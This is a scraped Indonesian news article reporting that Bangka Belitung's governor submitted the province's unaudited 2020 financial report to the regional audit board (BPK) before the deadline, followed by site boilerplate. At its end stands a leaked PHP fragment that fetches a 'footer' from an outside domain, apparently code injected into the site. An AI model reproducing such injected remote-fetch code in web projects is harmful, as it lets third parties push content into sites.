Pemprov Babel Serahkan LKPD Tahun 2020 Lebih Cepat

Senin, 29 Maret 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | PANGKALPINANG – Gubernur Kepulauan Bangka Belitung (Babel), Erzaldi Rosman, menyerahkan Laporan Keuangan Pemerintah Daerah (LKPD) Provinsi Kepulauan Bangka Belitung Unaudited Tahun 2020 kepada Kepala Badan Pemeriksa Keuangan (BPK) Perwakilan Provinsi Bangka Belitung lebih cepat sebelum batas waktu yang telah ditentukan.

Kegiatan penyerahan dilakukan di Kantor BPK Perwakilan Provinsi Bangka Belitung pada Senin (29/03/21).

Dengan diserahkannya laporan tersebut, Gubernur Erzaldi berkeinginan untuk terus berbenah diri sehingga laporan keuangan yang ada di Pemprov. Babel dapat menjadi lebih baik lagi kedepan.

Baca Juga:  Gubernur Babel Ajak Kota/Kabupaten Imbangi Provinsi, Pulihkan Ekonomi

“Kami percaya dan yakin dengan adanya pemeriksaan dan perbaikan pada pelaksanaan kegiatan oleh BPK akan berdampak positif terhadap penyelenggaraan pemerintahan Babel,” harap Gubernur.

Bang ER sapaannya, meminta bimbingan, arahan untuk perbaikan atas laporan yang dilakukan Pemprov. Babel guna membentuk penyelenggaraan pemerintahan yang terbaik, efektif, dan efisien, untuk mendorong pembangunan yang efektif juga.

“Kami menyerahkan kepada BPK semoga dapat ditindaklanjuti, dan kita juga akan terus bersinergi dan berkonsolidasi agar kegiatan ini dapat dilaksanakan sebaik-baiknya,” tambahnya.

Bang ER mengatakan Pemprov. Babel perlu melakukan konsultasi dan diskusi atas beberapa hal dengan mengedepankan kesepahamanan tentang bagaimana laporan ini dilakukan.

Baca Juga:  Kapolri Tinjau Langsung Vaksinasi Serentak Babel di Belitung

Tujuan pemeriksaan sendiri adalah untuk memberikan opini tentang kewajaran penyajian laporan keuangan.

Sementara itu, Kepala BPK Perwakilan Provinsi Babel, Ida Farida mengapresiasi atas berbagai upaya yang dilakukan Pemprov. Babel sehingga dapat menyampaikan LKPD TA 2020 sebelum batas waktu yang ditentukan.

Lebih jauh Ida menyebutkan bahwa LPKD TA 2020 (unaudited) telah dilengkapi dengan Pernyataan Review oleh Inspektur Pemprov. Babel dan telah diuji penyajiannya dengan menerapkan prosedur analitis oleh tim pemeriksa dan tidak ditemukannya saldo uang yang tidak balance, sehingga dinyatakan dapat diperiksa.

Baca Juga:  Jaga Kekompakan, Masyarakat Desa Temdak-Sebrang Musi Rutin Ronda Malam

Selain penandatanganan serah terima LKPD TA 2020, BPK pada kesempatan ini juga melakukan exit meeting pemeriksaan interim yang dilanjutkan dengan entry meeting Pemeriksaan Terinci LKPD TA 2020 dan Pemeriksaan Kinerja atas Efektifitas Program Pembangunan dan Pemeliharaan Jalan Provinsi TA 2019 dan 2020. (Jenny Siskawati/Andriyadi)

Sumber: Diskominfo Babel
Reporter: Dini
Foto: Iyas Zie
Editor: Imelda

 

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>